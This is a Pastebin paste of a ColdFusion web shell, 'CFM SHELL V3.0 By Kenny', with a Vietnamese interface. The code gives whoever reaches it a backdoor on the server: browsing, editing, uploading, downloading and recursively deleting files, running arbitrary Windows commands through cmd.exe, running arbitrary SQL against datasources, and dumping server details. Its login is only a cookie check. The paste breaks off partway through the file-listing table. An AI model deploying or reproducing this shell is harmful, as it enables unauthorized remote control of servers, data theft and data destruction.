Advertisement
Guest User

Untitled

a guest
Jan 26th, 2018
33
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.15 KB | None | 0 0
  1. <html>
  2. <style type="text/css">
  3. body,td,th {
  4. color: #00FF00;
  5. font-size:12px;
  6. font-family: Courier New;
  7. }
  8. body {
  9. background-color: #000000;
  10. font: 12px Courier New ;
  11. }
  12. a:link
  13. {
  14. font: bold 12px Courier New ;
  15. color: #FFFF33;
  16. text-decoration: none;
  17. }
  18. a:visited
  19. {
  20. font: bold 12px Courier New ;
  21. color: #FFFF33;
  22. text-decoration: none;
  23. }
  24. .buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
  25. .TextBox {border: 1px solid #084B8E}
  26. .style3 {color: #FF0000}
  27. </style>
  28. <head>
  29. <TITLE>CFM SHELL V3.0 By Kenny</TITLE>
  30. <meta http-equiv="Content-Type" content="text/html">
  31. </head>
  32. <body>
  33. <center>
  34. Cfm Shell v3.0
  35. <br>
  36. By <a href="ymsgr:sendim?hacker_hn86">Kenny</a> from <a href="hlpro.net">HLPRO</a>
  37. <br>
  38. Website: <a href="hlpro.net">hlpro.net</a> - Email: <a href="mailto:usadaily@gmx.com">usadaily@gmx.com</a>
  39. </center>
  40. <hr>
  41. <script langauge="JavaScript" type="text/javascript">
  42. function doMenu(item)
  43. {
  44. obj=document.getElementById(item);
  45. col=document.getElementById("x" + item);
  46. if (obj.style.display=="none")
  47. {
  48. obj.style.display="block"; col.innerHTML="[-]";
  49. }
  50. else
  51. {
  52. obj.style.display="none"; col.innerHTML="[+]";
  53. }
  54. }
  55. </script>
  56.  
  57.  
  58.  
  59.  
  60.  
  61. <!--- Login --->
  62.  
  63. <cfif IsDefined("logout")>
  64. <cfset structclear(cookie)>
  65. <cflocation url="?" addtoken="No">
  66. </cfif>
  67. <cfif IsDefined("cookie.username")>
  68.  
  69.  
  70.  
  71. <!--- Main --->
  72.  
  73.  
  74.  
  75.  
  76.  
  77.  
  78. <center>Xin ch?o <font color="#FFFF33"><b><cfoutput>#username#</cfoutput></b></font> !</center>
  79. <center><b><a href="?logout">Tho?t</a></b></center>
  80. <hr>
  81. <cfoutput>
  82. <cfset dir = #GetDirectoryFromPath(GetTemplatePath())#>
  83. <cfif Right(dir, 1) neq "\" >
  84. <cfset dir = "#dir#\">
  85. </cfif>
  86. <!--- Ham get Datasource Infor
  87. <cfscript>
  88. factory = CreateObject("java", "coldfusion.server.ServiceFactory");
  89. DataSoureceInfo = factory.DataSourceService.getDatasources();
  90. </cfscript> --->
  91.  
  92. <!--- Ham doc tep --->
  93. <cffunction name="ReadFile" access="remote" output="true" returntype="any">
  94. <cfargument name="fileread" type="string" required="true"/>
  95. <cffile action="read" file="#arguments.fileread#" variable="line">
  96. <cfoutput>#line#</cfoutput>
  97. </cffunction>
  98. <!--- ham xoa thu muc --->
  99. <cffunction name="dirDelete" access="public" output="false" returntype="any">
  100. <cfargument name="dir" required="no" default="#expandPath('/pocket_cache/')#">
  101. <cfdirectory action="list" name="delfile" directory="#arguments.dir#">
  102. <cfif delfile.RecordCount EQ 0>
  103. <cfif directoryExists(arguments.dir)>
  104. <cfdirectory action="delete" directory="#arguments.dir#">
  105. </cfif>
  106. <cfelse>
  107. <cfloop query="delfile">
  108. <cfif type EQ "file">
  109. <cffile action="delete" file="#arguments.dir#\#name#">
  110. <cfelse>
  111. <cfset temp = dirDelete(arguments.dir & '\' & #delfile.name#)>
  112. </cfif>
  113. </cfloop>
  114. <cfif directoryExists(arguments.dir)>
  115. <cfdirectory action="delete" directory="#arguments.dir#">
  116. </cfif>
  117. </cfif>
  118. </cffunction>
  119. <!--- ham doi ten thu muc --->
  120. <cffunction name="renameDirectory" access="remote" output="false" returntype="void">
  121. <cfargument name="oldDir" type="string" required="true"/>
  122. <cfargument name="newDir" type="string" required="true"/>
  123. <cfdirectory action="rename" directory="#arguments.oldDir#" newdirectory="#arguments.newDir#"/>
  124. </cffunction>
  125. </cfoutput>
  126. <!--- bat dau nhan lenh --->
  127. <cfif isDefined("action")>
  128. <cfif action is "goto">
  129. <cfoutput>
  130. <cfif isDefined("scr")>
  131. <cfset dir = #scr#>
  132. <cfif Right(dir, 1) neq "\" >
  133. <cfset dir = "#dir#\">
  134. </cfif>
  135. </cfif>
  136. </cfoutput>
  137. <cfelseif action is "edit">
  138. <cfoutput>
  139. <cfif isDefined("scr")>
  140. <cfif FileExists("#scr#")>
  141. <cfset file_name=#Replace(#scr#,'#GetDirectoryFromPath(scr)#','','ALL')#>
  142. <title>&##272;ang s&##7917;a t&##7879;p #scr#</title>
  143. <script language="JavaScript" type="text/javascript">
  144. function sTrim(sVariable)
  145. {
  146. return sVariable.replace(/^\s+|\s+$/g,"");
  147. }
  148. function validateFields(form)
  149. {
  150. return true;
  151. }
  152. </script>
  153. <cffile action="read" file="#scr#" variable="thisFile">
  154. <form action="?action=save&scr=#GetDirectoryFromPath(scr)#" method="post" onsubmit="return validateFields(this);">
  155. <input type="hidden" name="fileName" value="#file_name#" />
  156. <input type="hidden" name="action_type" value="edit" />
  157. <table border="0" style="width:600px;">
  158. <tr>
  159. <td style="font-weight:bold;" nowrap="nowrap">
  160. S&##7917;a t&##7879;p:
  161. </td>
  162. <td style="width:480px;">
  163. #scr#
  164. </td>
  165. </tr>
  166. <tr>
  167. <td style="font-weight:bold;" nowrap="nowrap">
  168. N&##7897;i dung:
  169. </td>
  170. <td colspan="2">
  171. <cfset thisFile=#Replace(#thisFile#,'<','<','ALL')#>
  172. <cfset thisFile=#Replace(#thisFile#,'>','>','ALL')#>
  173. <textarea name="fileContent" style="font-family:verdana; font-size:11px; height:250px; width:600px;">#thisFile#</textarea>
  174. </td>
  175. </tr>
  176. <tr>
  177. <td colspan="2" style="text-align:right;">
  178. <input type="submit" value="L&##432;u" style="font-family:verdana; font-size:11px;" />
  179. </td>
  180. </tr>
  181. </table>
  182. </form>
  183. <cfelse>
  184. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  185. </cfif>
  186. <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  187. <cfelse>
  188. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  189. </cfif>
  190. </cfoutput>
  191. <cfelseif action is "cut">
  192. <cfoutput>
  193. <cfif isDefined("scr")>
  194. <cfset cutdir = #scr#>
  195. <cfif FileExists("#scr#")>
  196. <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
  197. <cfloop condition = "Right(cutdir, 1) neq '\'">
  198. <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
  199. </cfloop>
  200. <cfform name="articles" ENCTYPE="multipart/form-data">
  201. B&##7841;n s&##7869; di chuy&##7875;n t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#cutdir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  202. </cfform>
  203. <cfif isDefined("thumucsechuyen")>
  204. <cffile action="move" source="#scr#" destination="#thumucsechuyen#">
  205. <cflocation url="?action=goto&scr=#cutdir#" addtoken="No">
  206. </cfif>
  207. <cfelse>
  208. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  209. </cfif>
  210. <a href="?action=goto&scr=#cutdir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  211. <cfelse>
  212. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  213. </cfif>
  214. </cfoutput>
  215. <cfelseif action is "copy">
  216. <cfoutput>
  217. <cfif isDefined("scr")>
  218. <cfset copydir = #scr#>
  219. <cfif FileExists("#scr#")>
  220. <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
  221. <cfloop condition = "Right(copydir, 1) neq '\'">
  222. <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
  223. </cfloop>
  224. <cfform name="articles" ENCTYPE="multipart/form-data">
  225. B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  226. </cfform>
  227. <cfif isDefined("thumucsechuyen")>
  228. <cffile action="copy" source="#scr#" destination="#thumucsechuyen#">
  229. <cflocation url="?action=goto&scr=#copydir#" addtoken="No">
  230. </cfif>
  231. <cfelse>
  232. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  233. </cfif>
  234. <a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  235. <cfelse>
  236. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  237. </cfif>
  238. </cfoutput>
  239. <cfelseif action is "rename">
  240. <cfoutput>
  241. <cfif isDefined("scr")>
  242. <cfset renamedir = #scr#>
  243. <cfif FileExists("#scr#")>
  244. <cfloop condition = "Right(renamedir, 1) neq '\'">
  245. <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
  246. </cfloop>
  247. <cfform name="articles" ENCTYPE="multipart/form-data">
  248. B&##7841;n s&##7869; &##273;&##7893;i t&##234;n #scr# th&##224;nh #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  249. </cfform>
  250. <cfif isDefined("namechange")>
  251. <cffile action="rename" source="#scr#" destination="#renamedir##namechange#">
  252. <cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
  253. </cfif>
  254. <cfelse>
  255. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  256. </cfif>
  257. <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  258. <cfelse>
  259. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  260. </cfif>
  261. </cfoutput>
  262. <cfelseif action is "renamed">
  263. <cfoutput>
  264. <cfif isDefined("scr")>
  265. <cfset renamedir = #scr#>
  266. <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
  267. <cfif DirectoryExists("#scr#")>
  268. <cfloop condition = "Right(renamedir, 1) neq '\'">
  269. <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
  270. </cfloop>
  271. <cfform name="articles" ENCTYPE="multipart/form-data">
  272. B&##7841;n s&##7869; &##273;&##7893;i t&##234;n #scr# th&##224;nh #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  273. </cfform>
  274. <cfif isDefined("namechange")>
  275. #renameDirectory('#scr#','#renamedir##namechange#')#
  276. <cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
  277. </cfif>
  278. <cfelse>
  279. <p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  280. </cfif>
  281. <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  282. <cfelse>
  283. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  284. </cfif>
  285. </cfoutput>
  286. <cfelseif action is "down">
  287. <cfoutput>
  288. <cfif isDefined("scr")>
  289. <cfset downdir = #scr#>
  290. <cfif FileExists("#scr#")>
  291. <cfloop condition = "Right(downdir, 1) neq '\'">
  292. <cfset downdir = #RemoveChars(downdir, len(downdir), 1)#>
  293. </cfloop>
  294. <cfheader name="Content-Disposition" value="attachment; filename=#getFileFromPath (scr)#">
  295. <cfcontent file="#scr#" type="application/octet-stream">
  296. <cfelse>
  297. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  298. </cfif>
  299. <a href="?action=goto&scr=#downdir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  300. <cfelse>
  301. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  302. </cfif>
  303. </cfoutput>
  304. <cfelseif action is "del">
  305. <cfoutput>
  306. <cfif isDefined("scr")>
  307. <cfset deletedir = #scr#>
  308. <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  309. <cfif FileExists("#scr#")>
  310. <cfloop condition = "Right(deletedir, 1) neq '\'">
  311. <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  312. </cfloop>
  313. <cffile action="delete" file="#scr#">
  314. <cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
  315. <cfelse>
  316. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  317. </cfif>
  318. <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  319. <cfelse>
  320. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  321. </cfif>
  322. </cfoutput>
  323. <cfelseif action is "deld">
  324. <cfoutput>
  325. <cfif isDefined("scr")>
  326. <cfset deletedir = #scr#>
  327. <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  328. <cfif DirectoryExists("#scr#")>
  329. <cfloop condition = "Right(deletedir, 1) neq '\'">
  330. <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  331. </cfloop>
  332. <cfset dirDelete('#scr#')>
  333. <cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
  334. <cfelse>
  335. <p>Th&##3432; m&##37909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  336. </cfif>
  337. <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  338. <cfelse>
  339. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  340. </cfif>
  341. </cfoutput>
  342. <cfelseif action is "new">
  343. <!---
  344. <cfoutput>
  345. <cfif isDefined("scr")>
  346. <cfif FileExists("#scr#")>
  347. <p>T&##7853;p tin #scr# &##273;&##227; t&##7891;n t&##7841;i.</p>
  348. <cfelse>
  349. <cfform name="articles" ENCTYPE="multipart/form-data">
  350. B&##7841;n s&##7869; t&##7841;o th&##432; m&##7909;c m&##7899;i #scr#<cfinput type="text" name="namecreate" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  351. </cfform>
  352. <cfif isDefined("namecreate")>
  353. <cffile action = "write" file = "#scr##namecreate#" output = "">
  354. <cflocation url="?action=goto&scr=#scr#" addtoken="No">
  355. </cfif>
  356. </cfif>
  357. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  358. <cfelse>
  359. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  360. </cfif>
  361. </cfoutput>
  362. --->
  363. <cfoutput>
  364. <cfif isDefined("scr")>
  365. <cfdirectory action="list" directory="#scr#" name="fileList">
  366. <script language="JavaScript" type="text/javascript">
  367. var fileArray = new Array(<cfoutput>#quotedValueList(fileList.name)#</cfoutput>);
  368. function sTrim(sVariable)
  369. {
  370. return sVariable.replace(/^\s+|\s+$/g,"");
  371. }
  372. function validateFields(form)
  373. {
  374. var fileCount = 0;
  375. var re = /.txt$|.cfm$|.cfml$|.htm|.html$/;
  376. if (sTrim(form.fileName.value) == "")
  377. {
  378. alert('Can nhap ten tep');
  379. form.fileName.focus();
  380. return false;
  381. }
  382. if (form.fileName.value.search(re) < 0)
  383. {
  384. alert('Khong chap nhan tep loai nay!\n\n Chi chap nhan .cfm, .cfml, .htm, .html, va .txt!');
  385. form.fileName.focus();
  386. form.fileName.select();
  387. return false;
  388. }
  389. for (var i=0; i<fileArray.length; i++)
  390. {
  391. if (sTrim(form.fileName.value) == fileArray[i])
  392. {
  393. fileCount++;
  394. }
  395. }
  396. if (fileCount > 0)
  397. {
  398. alert('Ten nay da ton tai, vui long chon tep khac');
  399. form.fileName.focus();
  400. form.fileName.select();
  401. return false;
  402. }
  403. return true;
  404. }
  405. </script>
  406. <form action="?action=save&scr=#scr#" method="post" onsubmit="return validateFields(this);">
  407. <input type="hidden" name="action_type" value="add" />
  408. <table border="0" style="width:400px;">
  409. <tr>
  410. <td style="font-weight:bold;" nowrap="nowrap">
  411. T&##234;n t&##7879;p:
  412. </td>
  413. <td>
  414. <input type="text" name="fileName" style="font-family:verdana; font-size:11px; width:316px;" />
  415. </td>
  416. </tr>
  417. <tr>
  418. <td style="font-weight:bold;" nowrap="nowrap">
  419. N&##7897;i dung:
  420. </td>
  421. <td colspan="2">
  422. <textarea name="fileContent" style="font-family:verdana; font-size:11px; height:250px; width:600px;"></textarea>
  423. </td>
  424. </tr>
  425. <tr>
  426. <td colspan="2" style="text-align:right;">
  427. <input type="submit" value="T&##7841;o t&##7879;p" style="font-family:verdana; font-size:11px;" />
  428. </td>
  429. </tr>
  430. </table>
  431. </form>
  432. <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  433. <cfelse>
  434. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  435. </cfif>
  436. </cfoutput>
  437. <cfelseif action is "newd">
  438. <cfoutput>
  439. <cfif isDefined("scr")>
  440. <cfform name="articles" ENCTYPE="multipart/form-data">
  441. B&##7841;n s&##7869; t&##7841;o th&##432; m&##7909;c m&##7899;i #scr#<cfinput type="text" name="namecreate" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  442. </cfform>
  443. <cfif isDefined("namecreate")>
  444. <cfdirectory directory= "#scr##namecreate#" action="create">
  445. <cflocation url="?action=goto&scr=#scr#" addtoken="No">
  446. </cfif>
  447. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  448. <cfelse>
  449. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  450. </cfif>
  451. </cfoutput>
  452. <cfelseif action is "upload">
  453. <cfoutput>
  454. <cfif isDefined("scr")>
  455. <cfform enctype="multipart/form-data" method="post">
  456. B&##7841;n s&##7869; t&##7843;i t&##7879;p l&##234;n th&##432; m&##7909;c : <font color="red">#scr#</font><br>
  457. Ch&##7885;n t&##7879;p mu&##7889;n t&##7843;i: <input type="file" size="80" name="fileup" /> <input type="submit" value="T&##7843;i l&##234;n" /><br/>
  458. </cfform>
  459. <cfif isDefined("fileup")>
  460. <cffile action="upload" fileField="fileup" destination="#scr#" nameconflict="overwrite">
  461. <cflocation url="?action=goto&scr=#scr#" addtoken="No">
  462. </cfif>
  463. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  464. <cfelse>
  465. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  466. </cfif>
  467. </cfoutput>
  468. <cfelseif action is "cmd">
  469. <cfoutput>
  470. <cfif not isDefined("patch")>
  471. <cfif FileExists("#GetDirectoryFromPath(GetTemplatePath())#cdm.exe")>
  472. <cfset patch = "#GetDirectoryFromPath(GetTemplatePath())#cmd.exe">
  473. <cfset out = "#GetDirectoryFromPath(GetTemplatePath())#out.txt">
  474. <cfelseif FileExists("C:\windows\system32\cmd.exe")>
  475. <cfset patch = "C:\windows\system32\cmd.exe">
  476. <cfset out = "C:\windows\system32\out.txt">
  477. <cfelseif FileExists("C:\winnp\system32\cmd.exe")>
  478. <cfset patch = "C:\winnp\system32\cmd.exe">
  479. <cfset out = "C:\winnp\system32\out.txt">
  480. <cfelse>
  481. <p>Kh&##244;ng t&##236;m th&##7845;y t&##7879;p cmd.exe</p>
  482. <p>Khai b&##225;o bi&##7871;n patch l&##224; &##273;&##432;&##7901;ng d&##7851;n tr&##7921;c ti&##7871;p t&##7899;i t&##7879;p cmd.exe</p>
  483. <p>Khai b&##225;o bi&##7871;n out l&##224; &##273;&##432;&##7901;ng d&##7851;n tr&##7921;c ti&##7871;p t&##7899;i t&##7879;p d&##7919; li&##7879;u</p>
  484. <cfset sai = 1>
  485. </cfif>
  486. <cfelseif FileExists("#patch#")>
  487. <cfset out = "#GetDirectoryFromPath(patch)#out.txt">
  488. <cfelse>
  489. <p>Kh&##244;ng t&##236;m th&##7845;y t&##7879;p cmd.exe</p>
  490. </cfif>
  491. <cfif not isDefined("sai")>
  492. <cfform name="articles" ENCTYPE="multipart/form-data">
  493. Nh&##7853;p l&##7879;nh mu&##7889;n th&##7921;c thi <cfinput type="text" name="command" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  494. </cfform>
  495. <cfif isDefined("command")>
  496. <p>K&##7871;t qu&##7843;:</p>
  497. <cfexecute name="#patch#" arguments="/C #command# > #out#" timeout="60"></cfexecute>
  498. #ReadFile('#out#')#
  499. #out#
  500. <cfif FileExists("#out#")>
  501. <cffile action="delete" file="#out#">
  502. </cfif>
  503. </cfif>
  504. </cfif>
  505. <br>
  506. <a href="?action=goto&scr=#GetDirectoryFromPath(GetTemplatePath())#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  507. </cfoutput>
  508. <cfelseif action is "datainfo">
  509. <cfoutput>
  510. <cfdump var="#DataSoureceInfo#">
  511. <a href="?action=goto&scr=#GetDirectoryFromPath(GetTemplatePath())#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  512. </cfoutput>
  513. <cfelseif action is "save">
  514. <cfoutput>
  515. <cfif isDefined("form.fileName")>
  516. <title>&##272;&##227; l&##432;u t&##7879;p</title>
  517. <cffile action="write" file="#scr#\#form.fileName#" output="#form.fileContent#" addnewline="no">
  518. &##272;&##227; <cfif form.action_type IS "edit">s&##7917;a<cfelse>t&##7841;o</cfif> th&##224;nh c&##244;ng t&##7879;p <span style="font-weight:bold;">#form.fileName#</span>.<br>
  519. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  520. <cfelse>
  521. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  522. </cfif>
  523. </cfoutput>
  524. <cfelseif action is "sql">
  525. <cfoutput>
  526. <cfform name="articles1" ENCTYPE="multipart/form-data">
  527. Nh&##7853;p t&##234;n DataSource:
  528. <cfif isDefined("database")>
  529. <cfinput type="text" name="database" size="25" value="#database#"><br>
  530. <cfelseif IsDefined("DS")>
  531. <cfinput type="text" name="database" size="25" value="#DS#"><br>
  532. <cfelse>
  533. <cfinput type="text" name="database" size="25" value=""><br>
  534. </cfif>
  535. Nh&##7853;p c&##226;u l&##7879;nh SQL: <cfinput type="text" query="SQL" name="query" size="130" value=""><br>
  536. <input type="submit" value="Th&##7921;c hi&##7879;n" />
  537. </cfform>
  538. </cfoutput>
  539. <cfif isDefined("database") and isDefined("query")>
  540. <cfquery name="SQL" DataSource="#database#">
  541. #preserveSingleQuotes(query)#
  542. </cfquery>
  543. <br>
  544. <table width="90%" border="1" align="center">
  545. <tr><td align="center">M?u h?i: <font color="red"><cfoutput>#query#</cfoutput></font></td></tr>
  546. <tr><td align="center">K?t qu? tr? v?:</td></tr>
  547. <tr><td><cfdump var="#SQL#" format="text" label="Ket qua"></td></tr>
  548. </table>
  549. <br>
  550. </cfif>
  551. <cfoutput>
  552. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  553. </cfoutput>
  554. </cfif>
  555. <cfelse>
  556. <cfset action = "goto">
  557. </cfif>
  558.  
  559.  
  560.  
  561.  
  562.  
  563.  
  564.  
  565.  
  566.  
  567.  
  568.  
  569.  
  570.  
  571. <cfif action is "goto" or action is "del" or action is "deld">
  572. <cfoutput>
  573. <center><a href="javascript:doMenu('thongtin');" id=xthongtin>[-]</a>Th&##244;ng tin m&##225;y ch&##7911;:</center>
  574. <div id="thongtin">
  575. <!--- Lay thong tin ip --->
  576. <cfif #cgi.http_x_forwarded_for# eq "">
  577. <cfset clientip="#cgi.remote_addr#">
  578. <cfelse>
  579. <cfset clientip="#cgi.http_x_forwarded_for#">
  580. </cfif>
  581. <!--- In thong tin server --->
  582. Server IP: <font color="red">#CGI.HTTP_HOST#:#CGI.SERVER_PORT#</font> - Client IP: <font color="red">#clientip#</font><br>
  583. Gateway Interface: <font color="red">#CGI.GATEWAY_INTERFACE#</font> - Server Name: <font color="red">#CGI.SERVER_NAME#:#CGI.SERVER_PORT#</font><br>
  584. Server Protocol: <font color="red">#CGI.SERVER_PROTOCOL#</font> - Server Software: <font color="red">#CGI.SERVER_SOFTWARE#</font><br>
  585. Server Coldfusion:<br>
  586. *) Appserver: <font color="red">#server.coldfusion.appserver#</font> - Expiration: <font color="red">#DateFormat(server.coldfusion.expiration, "d/m/yy")# #TimeFormat(server.coldfusion.expiration, "HH:mm:ss")#</font><br>
  587. *) Product Name: <font color="red">#server.coldfusion.productname#</font> - Product Level: <font color="red">#server.coldfusion.productlevel#</font> - Product Version: <font color="red">#server.coldfusion.productversion#</font><br>
  588. *) Server OS Arch: <font color="red">#server.os.arch#</font> - Server OS Name: <font color="red">#server.os.name#</font> - Server OS Version: <font color="red">#server.os.version#</font><br>
  589. </div>
  590. <hr>
  591. <!--- Thu tao Object
  592. <cftry>
  593. <cfobject type="com" class="scripting.filesystemobject" name="fso" action="connect">
  594. <cfcatch type="any">
  595. <cfobject type="com" class="scripting.filesystemobject" name="fso" action="create">
  596. </cfcatch>
  597. </cftry>
  598. --->
  599.  
  600. <hr>
  601. <center><a href="javascript:doMenu('congcu');" id=xcongcu>[-]</a>C&##244;ng c&##7909;:</center>
  602. <div id="congcu">
  603. Th&##432; m&##7909;c hi&##7879;n t&##7841;i: <font color="red">#dir#</font><br>
  604. H&##224;nh &##273;&##7897;ng: <a href="?action=new&scr=#dir#">T&##7841;o t&##7879;p</a> - <a href="?action=newd&scr=#dir#">T&##7841;o th&##432; m&##7909;c</a> - <a href="?action=upload&scr=#dir#" title="T&##7843;i l&##234;n m&##7897;t t&##7879;p t&##7915; m&##225;y t&##237;nh c&##7911;a b&##7841;n">T&##7843;i l&##234;n</a> - <a href="?" title="Tr&##7903; v&##7873; th&##432; m&##7909;c ch&##7913;a Shell">Th&##432; m&##7909;c g&##7889;c</a><br>
  605. C&##244;ng c&##7909;: <a href="?action=cmd" title="Th&##7921;c thi l&##7879;nh Command Dos">CMD</a> - <a href="?action=sql&scr=#dir#" title="Th&##7921;c thi l&##7879;nh SQL query">SQL</a> - <a href="?action=datainfo" title="Th&##244;ng tin C&##417; S&##7903; D&##7919; Li&##7879;u">Th&##244;ng tin v&##7873; c&##225;c CSDL</a>
  606. </div>
  607. <hr>
  608. <center><a href="javascript:doMenu('thumuc');" id=xthumuc>[-]</a>Th&##432; m&##7909;c:</center>
  609. <div id="thumuc">
  610. </cfoutput>
  611. <cfdirectory directory="#dir#" name="myDirectory" sort="type ASC" >
  612. <table width="100%" border="0" align="center">
  613. <tr>
  614. <td width="35%"><strong>T?n</strong></td>
  615. <td width="10%" align="center"><strong>K?ch Th??c</strong></td>
  616. <td width="20%" align="center"><strong>ModifyTime</strong></td>
  617. <td width="5%" align="center"><strong>Chmod</strong></td>
  618. <td width="5%" align="center"><strong>Mode</strong></td>
  619. <td width="25%" align="center"><strong>H?nh ??ng</strong></td>
  620. </tr>
  621. <cfoutput>
  622. <cfif len(dir) gt 3>
  623. <tr>
  624. <cfset updir = #dir#>
  625. <cfset updir = #RemoveChars(updir, len(updir), 1)#>
  626. <cfloop condition = "Right(updir, 1) neq '\'">
  627. <cfset updir = #RemoveChars(updir, len(updir), 1)#>
  628. </cfloop>
  629. <td width="20%"><strong><a href="?action=goto&scr=#updir#">Tr&##7903; v&##7873; th&##432; m&##7909;c tr&##432;&##7899;c..</a></strong></td>
  630. </tr>
  631. </cfif>
  632. </cfoutput>
  633. <cfoutput query="myDirectory">
  634. <tr>
  635. <td>
  636. <cfif #Type# is "Dir">
  637. <a href="?action=goto&scr=#dir##Name#\">#Name#</a>
  638. <cfelse>
  639. #Name#
  640. </cfif>
  641. </td>
  642. <td align="center">
  643. <cfif #type# is "Dir">
  644. <Dir>
  645. <cfelseif #Size# LT 1024>
  646. #Size# B
  647. <cfelseif #Size# LT 1024*1024>
  648. #round(Size/1024)# KB
  649. <cfelseif #Size# LT 1024*1024*1024>
  650. #round(Size/1024/1024)# MB
  651. <cfelseif #Size# LT 1024*1024*1024*1024>
  652. #round(Size/1024/1024/1024)# GB
  653. <cfelseif #Size# LT 1024*1024*1024*1024*1024>
  654. #round(Size/1024/1024/1024/1024)# TB
  655. </cfif>
  656. </td>
  657. <td align="center">
  658. #DateFormat(DateLastModified, "d/m/yy")# #TimeFormat(DateLastModified, "HH:mm:ss")#
  659. </td>
  660. <td align="center">#Attributes#</td>
  661. <td align="center">#Mode#</td>
  662. <td>
  663. <cfif #Type# is "File">
